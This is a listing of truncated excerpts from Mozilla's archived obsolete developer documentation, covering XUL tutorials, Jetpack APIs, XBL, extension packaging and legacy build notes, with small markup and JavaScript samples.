copy and paste the content from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <?xml-stylesheet type="text/css" href="style7.css"?> <!doctype window> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="css getting started - xul demonstration" onload="init();"> <script type="application/javascript" src="script7.js"/> <label class="head-1" value="xul demonstration"/> <vbox> <groupbox class="demo-group"> <caption label="day of week calculator"/> <grid> <columns> <column/> <column/> </co...
cert_override.txt - Archive of obsolete content
domainname:port : port 443 for https (ssl) hash algorithm oid sha1-256: oid.2.16.840.1.101.3.4.2.1 (most used) sha-384: oid.2.16.840.1.101.3.4.2.2 sha-512: oid.2.16.840.1.101.3.4.2.3 certificate fingerprint using previous hash algorithm one or more characters for override type: m : allow mismatches in the hostname u : allow untrusted certs (whether it's self signed cert or a missing or invalid issuer cert) t : allow errors in t...
Same-origin policy for file: URIs - Archive of obsolete content
this policy affects anything that does same-origin checks, including xmlhttprequest, xslt, and xbl.
Source Navigator - Archive of obsolete content
more information can be found here --> http://sourcenav.sourceforge.net/ why worth a try?
Source code directories overview - Archive of obsolete content
netwerk contains c interfaces and code for low-level access to the network (using sockets and file and memory caches) as well as higher-level access (using various protocols such as http, ftp, gopher, castanet).
Using content preferences - Archive of obsolete content
var iosvc = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var prefservice = components.classes["@mozilla.org/content-pref/service;1"] .getservice(components.interfaces.nsicontentprefservice); // create a uri object referencing the site to save a preference for var uri = iosvc.newuri("http://developer.mozilla.org/", null, null); // set the value of the "devmo.somesetting" preference to "foo".
ActiveX Control for Hosting Netscape Plug-ins in IE - Archive of obsolete content
usage insert some html like this into your content: <object classid="clsid:dbb2de32-61f1-4f7f-beb8-a37f5bc24ee2" width="500" height="300"> <param name="type" value="video/quicktime"/> <param name="src" value="http://www.foobar.com/some_movie.mov"/> <!-- custom arguments --> <param name="loop" value="true"/> </object> the classid attribute tells ie to create an instance of the plug-in hosting control, the width and height specify the dimensions in pixels.
Bookmark Keywords - Archive of obsolete content
under ordinary circumstances, this might be used to reduce typing of a common url: http://www.cnn.com/ could be given the keyword cnn.
Chromeless - Archive of obsolete content
[this project may not be active — check github https://github.com/mozilla/chromeless] chromeless is a mozilla labs project in its early stages.
Compiling The npruntime Sample Plugin in Visual Studio - Archive of obsolete content
samples can be obtained from: https://developer.mozilla.org/en/plugins/samples_and_test_cases get the npapi sdk.
Enabling the behavior - updating the status bar panel - Archive of obsolete content
function updatetinderboxstatus() { var icon = document.getelementbyid('tinderbox-status'); if (gxmlhttprequest.responsetext.match("ee0000")) icon.setattribute("status", "busted"); else if (gxmlhttprequest.responsetext.match("ffaa00")) icon.setattribute("status", "testfailed"); else if (gxmlhttprequest.responsetext.match("11dd11")) icon.setattribute("status", "success"); else icon.setattribute("status", ""); } updatetinderboxstatus() retrieves a reference to the statusbarpanel element then searches through the retrieved html document (stored in the responsetext property of the xmlhttprequest instance) for one of several color references.
Enabling the behavior - updating the status periodically - Archive of obsolete content
function loadtinderboxstatus() { gxmlhttprequest = new xmlhttprequest(); gxmlhttprequest.onload = updatetinderboxstatus; gxmlhttprequest.open("get", "http://tinderbox.mozilla.org/seamonkey/panel.html"); gxmlhttprequest.send(null); window.settimeout(loadtinderboxstatus, 60000); } window.settimeout(loadtinderboxstatus, 1000); window.settimeout schedules functions to run at some future time.
Finding the file to modify - Archive of obsolete content
[explain further, http://www.mozilla.org/xpfe/configchromespec.html] « previousnext » ...
Making it into a static overlay - Archive of obsolete content
to make the file into a static overlay, we need to move all the code we added to navigator.xul into a new file tinderstatusoverlay.xul in the same directory: <?xml version="1.0"?> <?xml-stylesheet href="chrome://navigator/content/tinderstatus.css" type="text/css"?> <overlay id="tinderstatusoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://navigator/content/tinderstatus.js" /> <statusbar id="status-bar"> <statusbarpanel class="statusbarpanel-iconic" id="tinderbox-status" insertbefore="offline-status" status="none"/> </statusbar> </overlay> tinderstatusoverlay.xul starts with an x...
contents.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "contents.rdf": <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <!-- list all the skins being supplied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:myskin/1.0" /> </rdf:seq> <rdf:description about="urn:mozilla:skin:myskin/1.0" chrome:displayname="my skin" chrome:accesskey="m" chrome:author="me" chrome:description="this is my custom skin for mozilla" chrome:name="myskin/1.0" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:myskin/1.0:packages"> <rdf:li resource="...
Dehydra - Archive of obsolete content
try dxr instead, or else try the gcc python plugin: https://fedorahosted.org/gcc-python-plugin/.
Drag and Drop JavaScript Wrapper - Archive of obsolete content
« previousnext » original document information author(s): neil deakin original document: http://xulplanet.com/tutorials/mozsdk/dragwrap.php copyright information: copyright (c) neil deakin ...
Embedding FAQ - Archive of obsolete content
t org.eclipse.swt.widgets.display; import org.eclipse.swt.widgets.shell; import org.mozilla.xpcom.nsidomdocument; public class test { public static void main(string args[]) { display display = new display(); shell shell = new shell(display); final mozillabrowser browser = new mozillabrowser(shell,wt.border); browser.seturl("http://www.google.com"); browser.addprogresslistener(new progresslistener() { public void changed(progressevent event) { } public void completed(progressevent event) { nsidomdocument doc = browser.getdocument(); system.out.println(doc); ...
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
onstartrequest notification comes back from necko nsdocumentopeninfo::onstartrequest checks the response status code on the channel for http channels and drops the load on the floor if warranted (e.g.
JSS build instructions for OSX 10.6 - Archive of obsolete content
howto successfully compile jss and nss for 32 and 64 bits on osx 10.6 (10.6.7) useful links: https://developer.mozilla.org/en/nss_reference/building_and_installing_nss/build_instructions https://developer.mozilla.org/jss_build_4.3.html ftp://ftp.mozilla.org/pub/mozilla.org/ <componente> /releases http://www.mozilla.org/projects/secu...using_jss.html steps: export all this: build_opt="1" cvsroot=":pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot" java_home=$(/usr/libexec/java_home") no_mdupdate="1" nsdistmode="copy" ns_use_gcc="1" create working dir: mkdir nss-jss cd nss-jss obtain source: altought manual said nspr_4_6_4_rtm, nss_3_11_4_rtm, jss_4_2_5_rtm, th...
Repackaging Firefox - Archive of obsolete content
of course, this strategy only works when your strings either do not need localization, or are programmatically localizable (for example, simply adding the locale to a url, like http://<locale>.example.com/).
Isp Data - Archive of obsolete content
getting started first take a look at the number of examples available: http://infosec.ufl.edu/tbird/gatorlink.xml mailnews/base/ispdata/aol.rdf see the thunderbird isp hooks for more details.
JavaScript crypto - Archive of obsolete content
e on signed blob ca/ra validates identity of user ca/ra sends wrapped encryption private key to kra kra sends escrow verification back to ca ca creates and signs certificates ca sends certificates back to the user (importusercertificates) typical use the ca's enrollment page could look something like this: <!doctype html> <h2>request a cert</h2> <form name="reqform" method="post" action="http://your.ra.site.org"> <p><input type=hidden name=cert_request value=""> <p>name: <input type=text name=name value=""> <p>password: <input type=password name="password" value=""> <p><input type=submit name="send" value="submit"> </form> <script> /* the following values could be filled in by the server cgi */ var authenticator = "server_magic"; var keytransportcert = null; var crmfobject = null; var...
Me - Archive of obsolete content
ArchiveMozillaJetpackMetaMe
onfirstrun() may be called anywhere in your jetpack, but if it is called as the result of some asynchronous operation such as a timeout or xmlhttprequest, it is ignored.
Jetpack Snippets - Archive of obsolete content
a slidebar jetpack.future.import("slidebar");jetpack.slidebar.append({ html: <html><head></head><body> <p>some slidbar you want to debug</p> <a href="javascript:console.log('hello!')">test</a> <script><![cdata[ //firebug lite bookmarklet code: var firebug=document.createelement('script'); firebug.setattribute('src','http://getfirebug.com/releases/lite/1.2/firebug-lite-compressed.js'); document.body.appendchild(firebug); (function(){if(window.firebug.version){firebug.init();}else{settimeout(arguments.callee);}})();void(firebug); ]]></script> </body></html>, width: 800, //wide enough to use firebug onselect: function(slide) { slide.slide(800, true); ...
Notifications - Archive of obsolete content
titlethe head of the notification message.string bodythe message itself.stringfalse iconthe url of an .ico file.string jetpack.notifications.show("hello world"); var mybody = " my first message body on jetpack"; var myicon = "http://www.mozilla.com/favicon.ico"; jetpack.notifications.show({title: "my first message on jetpack", body: mybody, icon: myicon}); ...
Tabs - Archive of obsolete content
ArchiveMozillaJetpackUITabs
urlurl to be openedstring jetpack.tabs.open("http://www.example.com/"); blah(lengthstringfocusedstringtostringstringpopstringpushstringreversestringshiftstringsortstringsplicestringunshiftstring)this is some default text lengththe number of open tabsstring focusedthe current tab in your browserstring tostringstuffstring popstuffstring pushstuffstring reversestuffstring shiftstuffstring sortstuffstring splicestuffstring unshiftstuffstring onre...
slideBar - Archive of obsolete content
oad content for the featureuri widthwidth of the content area and the selected slide sizeint persistdefault slide behavior when being selectedbool autoreloadautomatically reload content on selectbool onclickcallback when the icon is clickedfunction onselectcallback when the feature is selectedfunction onreadycallback when featured is loadedfunction an example: jetpack.slidebar.append({ url: "http://mozilla.com", width: 150, onclick: function(slide){ slide.icon.src = "chrome://branding/content/icon48.png"; }}); ...
statusBar - Archive of obsolete content
example jetpack.statusbar.append({ html: 'hello <i>world</i>!', onready: function(widget){ $(widget).click(function(){ jetpack.tabs.open("http://www.jogkey.de"); }); } }); ...
Litmus tests - Archive of obsolete content
see http://litmus.mozilla.org.
Mozilla Application Framework - Archive of obsolete content
web services built-in support for xmlhttprequest, xml-rpc, soap, and wsdl to enable mozilla-based application authors to take advantage of the exploding world of web services.
Nanojit - Archive of obsolete content
you can get nanojit by cloning the tamarin-redux mercurial repository at http://hg.mozilla.org/tamarin-redux.
Plugin Architecture - Archive of obsolete content
(the event is necessary because by the time hasnewframe is called, the frame isn't fully set up yet) in layout note: some of this should move to content an instance owner is created the window passed to the plugin is adjusted (the npwindow, http://devedge-temp.mozilla.org/libr...nt.html#999221) the plugin host is asked to instantiate the plugin this will call back to the instance owner / the object frame in order to create a widget to draw to (if the plugin is not windowless) nsplugininstanceowner::setwindow setwindow is called on the plugin ...
Porting NSPR to Unix Platforms - Archive of obsolete content
<strike>henry sobotka of the os/2 mozilla porting project has a web page at http://www.axess.com/users/sobotka/n.../warpztjs.html with good documentation of the nspr unit tests</strike>.
Build - Archive of obsolete content
change directory into mozilla/ and checkout the latest prism code : cd mozilla/ svn co http://svn.mozilla.org/projects/webrunner/trunk prism create a file called .mozconfig make sure it is in the mozilla/ directory.
Bundles - Archive of obsolete content
how-to here is a simple way to build a basic web application bundle: create file called webapp.ini that contains something like: [parameters] id=unique-app-id@unique-author-id.whatever name=webapp name uri=http://[the-url-what-you-want-to-connect-to]/ status=yes location=no sidebar=no navigation=no zip the file to [whatever].webapp double-click the webapp bundle or use prism -webapp [path-to-webapp] structure a bundle can contain the following files.
Hacking wiki - Archive of obsolete content
for anonymous access use: svn co http://svn.mozilla.org/projects/deve...lla.org/trunk/ to see the skins properly, you'll need to also check out <tt>mozilla-org/css</tt> to get the css files needed: export cvsroot=:pserver:anonymous@cvs-mirror.mozilla.org:/www cvs login cvs co mozilla-org/css (when prompted to enter a password, type <tt>anonymous</tt>) setting up copy the contents of the <tt>trunk</tt> folder and the <tt>css</tt> folder (note: the folder itself) into the <tt>www</tt> directory on your server.
Running Windows Debug Builds Downloaded From Tinderbox - Archive of obsolete content
you can see this by looking in at firefox.exe with http://www.dependencywalker.com/.
Safe Browsing - Archive of obsolete content
this documentation now lives on the main mozilla wiki, see https://wiki.mozilla.org/safe_browsing.
Safe Browsing: Design Documentation - Archive of obsolete content
this documentation now lives on the main mozilla wiki, see https://wiki.mozilla.org/phishing_protection:_design_documentation.
File object - Archive of obsolete content
here is the original proposal for this object, and a status update from december 1998: http://www.mozilla.org/js/js-file-object.html created by the file constructor: new file(); new file(filename); parameters filename name of the file we want to work with.
Abc Assembler Tests - Archive of obsolete content
you may obtain a copy of the license at * http://www.mozilla.org/mpl/ * * software distributed under the license is distributed on an "as is" basis, * without warranty of any kind, either express or implied.
Tamarin Acceptance Test Template - Archive of obsolete content
you may obtain a copy of the license at * http://www.mozilla.org/mpl/ * * software distributed under the license is distributed on an "as is" basis, * without warranty of any kind, either express or implied.
Actionscript Acceptance Tests - Archive of obsolete content
# (see http://docs.python.org/library/time.html for details) # e.g.: eastern standard time/eastern daylight time = ('est','edt') # write timezones as tuples, one to each line.
Treehydra - Archive of obsolete content
try the gcc python plugin instead: https://fedorahosted.org/gcc-python-plugin/.
URIScheme - Archive of obsolete content
list of mozilla supported uri schemes list of uri schemes http:// by default, port 80 https:// by default, port 443 (ssl) ftp:// by default, port 21 file:// : file:///etc/hosts on unix/linux, file:///c:/some/file.txt on windows.
Venkman Internals - Archive of obsolete content
you can see the prototype for this object at http://lxr.mozilla.org/mozilla/sourc...ebugger.js#914 scriptwrapper.jsdscript is the reference to the jsdiscript object for the function.
Venkman Introduction - Archive of obsolete content
launch a browser window and go to http://wp.netscape.com/fishcam/dhtmltank.html.
Venkman - Archive of obsolete content
source code the source code for venkman may be found in mercurial at the following url: http://hg.mozilla.org/venkman/summary community view mozilla forums...
XBL 1.0 Reference - Archive of obsolete content
xbl elements xbl 1.0 elements are in the http://www.mozilla.org/xbl namespace.
InstallTrigger.installChrome - Archive of obsolete content
<a href="#" onclick="installtrigger.installchrome( installtrigger.skin, 'http://wildskins/newblue.xpi', 'newblue/1.0');"> install the new blue theme</a> ...
XPInstall - Archive of obsolete content
<?xml version="1.0" encoding="utf-8"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <!-- properties --> </description> </rdf> cross-platform install (xpinstall) is a technology used by mozilla application suite, mozilla firefox, mozilla thunderbird and other xul-based applications for installing extensions.
A XUL Bestiary - Archive of obsolete content
the chrome url, which appears in place of the http url in pointers like the following global skin processing instruction: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> specifies a chrome to be loaded by the gecko rendering engine.
href - Archive of obsolete content
ArchiveMozillaXULAttributehref
<label href="http://example.com" class="text-link" value="click here to go to example.com"/> ...
onchange - Archive of obsolete content
window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </script> <textbox id="find-text" onchange="return myfunction(event);"/> </window> ...
showcaret - Archive of obsolete content
examples <iframe id="content-body" src="http://www.mozilla.org/" showcaret="true"/> <browser src="http://www.mozilla.org" flex="1" showcaret="true"/> ...
sortResource - Archive of obsolete content
the key should be the full uri of the rdf resource to sort by, for example 'http://home.netscape.com/nc-rdf#name'.
src - Archive of obsolete content
ArchiveMozillaXULAttributesrc
examples <iframe id="content-body" src="http://www.mozilla.org/"/> <browser src="http://www.mozilla.org" flex="1"/> <image src='firefoxlogo.png' width='135' height='130'/> see also prefpane.src treecell.src treecol.src script.src stringbundle.src checkbox.src ...
wait-cursor - Archive of obsolete content
see also https://developer.mozilla.org/docs/talk:xul/attribute/wait-cursor this seems to work instead of trying to set a wait-cursor attribute: window.setcursor('wait') and window.setcursor('auto') ...
windowtype - Archive of obsolete content
values for window type as found on mxr: http://mxr.mozilla.org/mozilla-release/search?string=windowtype navigator:browser - looks like if window has gbrowser it has this window type devtools:scratchpad - scratchpad windows navigator:view-source - the view source windows ...
Dynamically modifying XUL-based user interface - Archive of obsolete content
function createmenuitem(alabel) { const xul_ns = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"; var item = document.createelementns(xul_ns, "menuitem"); // create a new xul menuitem item.setattribute("label", alabel); return item; } var popup = document.getelementbyid("mypopup"); // a <menupopup> element var first = createmenuitem("first item"); var last = createmenuitem("last item"); popup.insertbefore(first, popup.firstchild...
How to implement a custom XUL query processor component - Archive of obsolete content
here is an example of what our xul might look like when using a custom query processor: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <grid> <columns> <column flex="1"/> <column flex="3"/> <column flex="2"/> <column flex="1"/> </columns> <rows datasources="dummy" ref="." querytype="simpledata"> <template> <row uri="?"> <label value="?name"/> ...
International characters in XUL JavaScript - Archive of obsolete content
if the script file is loaded via http, the http header can contain a character encoding declaration as part of the content-type header, for example: content-type: application/javascript; charset=utf-8 if no charset parameter is specified, the same rules as above apply.
loadURIWithFlags - Archive of obsolete content
the http referer header is set accordingly.
ContextMenus - Archive of obsolete content
nt && element.currenturi); document.getelementbyid("enlarge").hidden = !isimage; document.getelementbyid("details").hidden = !isimage; } </script> <menupopup id="contentareacontextmenu" onpopupshowing="showhideitems(event)"> <menuitem label="copy"/> <menuitem id="enlarge" label="enlarge image"/> <menuitem id="details" label="image details"/> </menupopup> <browser src="http://www.mozilla.org" context="contentareacontextmenu"/> when the popupshowing event is fired, the showhideitems function is called.
Panels - Archive of obsolete content
<?xml-stylesheet href="chrome://global/skin" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <button label="details" type="panel"> <panel id="search-panel"> <label control="name" value="name:"/> <textbox id="name"/> </panel> </button> </window> many panels will be associated with a button, as in this example.
controllers - Archive of obsolete content
example <window id="controller-example" title="controller example" onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function init() { var list = document.getelementbyid("thelist"); var listcontroller = { supportscommand : function(cmd){ return (cmd == "cmd_delete"); }, iscommandenabled : function(cmd){ if (cmd == "cmd_delete") return (list.selecteditem != null); return false; }, docommand : function(cmd){ li...
Notes - Archive of obsolete content
deleting the "(default)" values in the following registry keys will fix this: hkey_classes_root\http\shell\open\ddeexec hkey_classes_root\https\shell\open\ddeexec you can also do this from within your xpcom component using windows registry interface.
Sorting and filtering a custom tree view - Archive of obsolete content
sort.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <!doctype window> <window title="sorting a custom tree view example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="init()"> <script type="application/javascript" src="sort.js"/> <hbox align="center" id="search-box"> <label accesskey="f" control="filter">filter</label> <textbox id="filter" oninput="inputfilter(event)" flex="1"/> <button id="clearfilter" oncommand="clearfilter()" label="clear" accesskey="c" disabled="true"/> </hbox> ...
Multiple Rules - Archive of obsolete content
a multiple rule template looks like the following: <hbox id="photoslist" datasources="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> </query> <rule> <where subject="?title" rel="equals" value="canal"/> <action> <button uri="?photo" image...
textbox (Toolkit autocomplete) - Archive of obsolete content
window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </script> <textbox id="find-text" onchange="return myfunction(event);"/> </window> oninput type: script code this event is sent when a user enters text in a textbox.
Textbox (XPFE autocomplete) - Archive of obsolete content
window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </script> <textbox id="find-text" onchange="return myfunction(event);"/> </window> onerrorcommand type: script code this event handler is called when an error occurs whe...
The Joy of XUL - Archive of obsolete content
see also http://www.mozilla.org/scriptable/ extensions documentation, including the building an extension introductory tutorial mozilla calendar project page original document information author: peter bojanic ...
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
the code looks like this: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <seq about="urn:mozilla:skin:root"> <li resource="urn:mozilla:skin:classic/1.0"/> </seq> <description about="urn:mozilla:skin:classic/1.0"> <chrome:packages> <seq about="urn:mozilla:skin:classic/1.0:packages"> <li resource="urn:mozilla:skin:classic/1.0:myextension"/> </seq> </chrome:packages> </description>...
Adding Buttons - Archive of obsolete content
the code to add is shown in red below: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <button id="find-button" label="find"/> <button id="cancel-button" label="cancel"/> </window> you'll notice that the cancel button was added also.
Adding Event Handlers - Archive of obsolete content
for example, you may use urls of the following form: <script src="findfile.js"/> <script src="chrome://findfiles/content/help.js"/> <script src="http://www.example.com/js/items.js"/> this tutorial does not attempt to describe how to use javascript (except as related to event handling) as this is a fairly large topic and there are plenty of other resources that are available for this.
Adding Labels and Images - Archive of obsolete content
here are some examples: xul: <image id="image1"/> <image id="search"/> style sheet: #image1 { list-style-image: url("chrome://findfile/skin/banner.jpg"); } #search { list-style-image: url("http://example.com/images/search.png"); } these images come from within the chrome directory, in the skin for the findfile package.
Anonymous Content - Archive of obsolete content
declaring scrollbar example the example below shows how a scrollbar might be declared (it has been simplified a bit from the real thing): <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <binding id="scrollbarbinding"> <content> <xul:scrollbarbutton type="decrement"/> <xul:slider flex="1"> <xul:thumb/> </xul:slider> <xul:scrollbarbutton type="increment"/> </content> </binding> </bindings> this file contains a single binding, decl...
Box Model Details - Archive of obsolete content
a find text dialog example 5 : source view <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findtext" title="find text" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <vbox flex="3"> <label control="t1" value="search text:"/> <textbox id="t1" style="min-width: 100px;" flex="1"/> </vbox> <vbox style="min-width: 150px;" flex="1" align="start"> <checkbox id="c1" label="ignore case"/> <spacer flex="1" style="max-height: 30px;"/> <button label="find"/> </vbox> </window> h...
Commands - Archive of obsolete content
<window id="controller-example" title="controller example" onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function init() { var list = document.getelementbyid("thelist"); var listcontroller = { supportscommand : function(cmd){ return (cmd == "cmd_delete"); }, iscommandenabled : function(cmd){ if (cmd == "cmd_delete") return (list.selecteditem != null); return false; }, docommand : function(cmd){ ...
Cross Package Overlays - Archive of obsolete content
our foverlay.xul example source <?xml version="1.0"?> <overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <toolbox id="browser-toolbox"> <toolbar id="findfile_toolbar"> <label control="findfile_filename" value="search for files named:"/> <textbox id="findfile_filename"/> <label control="findfile_dir" value="directory:"/> <textbox id="findfile_dir"/> <button label="browse..."/> </toolbar> </toolbox> </overlay> you ...
Custom Tree Views - Archive of obsolete content
example custom tree source <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window title="tree example" id="tree-window" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="setview();"> <script> //moz 1.8 var treeview = { rowcount : 10000, getcelltext : function(row,column){ if (column.id == "namecol") return "row "+row; else return "february 18"; }, settree: function(treebox){ this.treebox = treebox; }, iscontainer: function(row){ return false; }, isseparator: ...
Features of a Window - Archive of obsolete content
<window id="findfile-window" title="find files" width="400" height="450" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> in this example, the window will open with a width of 400 pixels and a height of 450 pixels.
Focus and Selection - Archive of obsolete content
example 3 : source view <window id="focus-example" title="focus example" onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function init(){ addeventlistener("focus",setfocusedelement,true); } function setfocusedelement(){ var focused = document.commanddispatcher.focusedelement; document.getelementbyid("focused").value = focused.tagname; } </script> <hbox> <label control="username" value="user name:"/> <textbox id="username"/> </hbox> <b...
Input Controls - Archive of obsolete content
seamonkey or waterfox and remote-xul-manager from https://github.com/jvillalobos/remote-xul-manager find files example so far : source view in the next section, we will look at some elements for entering and selecting numbers.
Keyboard Shortcuts - Archive of obsolete content
<?xml version="1.0" encoding="utf-8"?> <window xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> <keyset> <key id="cut_cmd" modifiers="accel" key="x"/> <key id="copy_cmd" modifiers="accel" key="c"/> <key id="paste_cmd" modifiers="accel" key="v"/> <key id="close_cmd" keycode="vk_escape" oncommand="window.close();"/> </keyset> <vbox flex="1"> <toolbox> <menubar id="findfiles-menubar"> <menu id="file-menu" label="file" ...
Manifest Files - Archive of obsolete content
<?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <rdf:seq about="urn:mozilla:package:root"> <rdf:li resource="urn:mozilla:package:myapplication"/> </rdf:seq> <rdf:description about="urn:mozilla:package:myapplication" chrome:displayname="application title" chrome:author="author name" chrome:name="myapplica...
More Wizards - Archive of obsolete content
wizard example source <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <wizard id="thewizard" title="secret code wizard" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function checkcode(){ document.getelementbyid('thewizard').canadvance = (document.getelementbyid('secretcode').value == "cabbage"); } </script> <wizardpage onpageshow="checkcode(); return true;"> <label value="enter the secret code:"/> <textbox id="secretcode" onkeyup="checkcode();"/> </wizardpage> <wizar...
Persistent Data - Archive of obsolete content
<window id="findfile-window" title="find files" persist="screenx screeny width height" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> this will cause the x and y position of the window and the width and height of the window to be saved.
Progress Meters - Archive of obsolete content
xmlns:html="http://www.w3.org/1999/xhtml" the example so far.
The Chrome URL - Archive of obsolete content
the chrome url xul files can be referenced with a regular http url (or any type of url) just like html files.
XBL Attribute Inheritance - Archive of obsolete content
<bindings xmlns:xbl="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <xbl:binding id="buttonbinding"> <xbl:content> <xul:button label="ok" xbl:inherits="label"/> </xbl:content> </xbl:binding> in this example, the button inherits the label attribute, but this attribute is also given a value directly in the xbl.
XPCOM Interfaces - Archive of obsolete content
an example is shown below: var bmarks = components.classes["@mozilla.org/browser/bookmarks-service;1"].getservice(); bmarks.queryinterface(components.interfaces.nsibookmarksservice); bmarks.addbookmarkimmediately("http://www.mozilla.org","mozilla",0,null); first, the component "@mozilla.org/browser/bookmarks-service;1" is retrieved and its service is placed in the variable bmarks.
Using Visual Studio as your XUL IDE - Archive of obsolete content
visual studio will use the schema based on the namespace, so make sure your window element uses the correct xul namespace http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul.
XUL element attributes - Archive of obsolete content
the key should be the full uri of the rdf resource to sort by, for example 'http://home.netscape.com/nc-rdf#name'.
XUL accessibility tool - Archive of obsolete content
availability the xul accessibility tool can currently be obtained from [http://www.xulplanet.com/aaron/files...bilitytool.xpi].
XUL Event Propagation - Archive of obsolete content
the widget hierarchy consider the following xul file: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="events" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" oncommand="alert('window handler')"> <vbox> <vbox style="background-color: lightgrey;" oncommand="alert('box handler')"> <menu class="menu" label="file" oncommand="alert('menu handler')"> <menupopup> <menuitem oncommand="alert('new item alert')" label="new" /> <menuitem label...
colorpicker - Archive of obsolete content
window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </script> <textbox id="find-text" onchange="return myfunction(event);"/> </window> preference type: id connects the element to a corresponding preference.
dialog - Archive of obsolete content
elextra1, buttonlabelextra2, buttonlabelhelp, buttonorient, buttonpack, buttons, defaultbutton, title properties buttons, defaultbutton methods acceptdialog, canceldialog, centerwindowonscreen, getbutton, movetoalertposition examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog id="donothing" title="dialog example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" buttons="accept,cancel" buttonlabelcancel="cancel" buttonlabelaccept="save"> <dialogheader title="options" description="my preferences"/> <groupbox> <caption label="colour"/> <radiogroup> <radio label="red"/> <radio label="green" selected="true"/> <radio label="blue"/> </radiogroup> <label value...
dialogheader - Archive of obsolete content
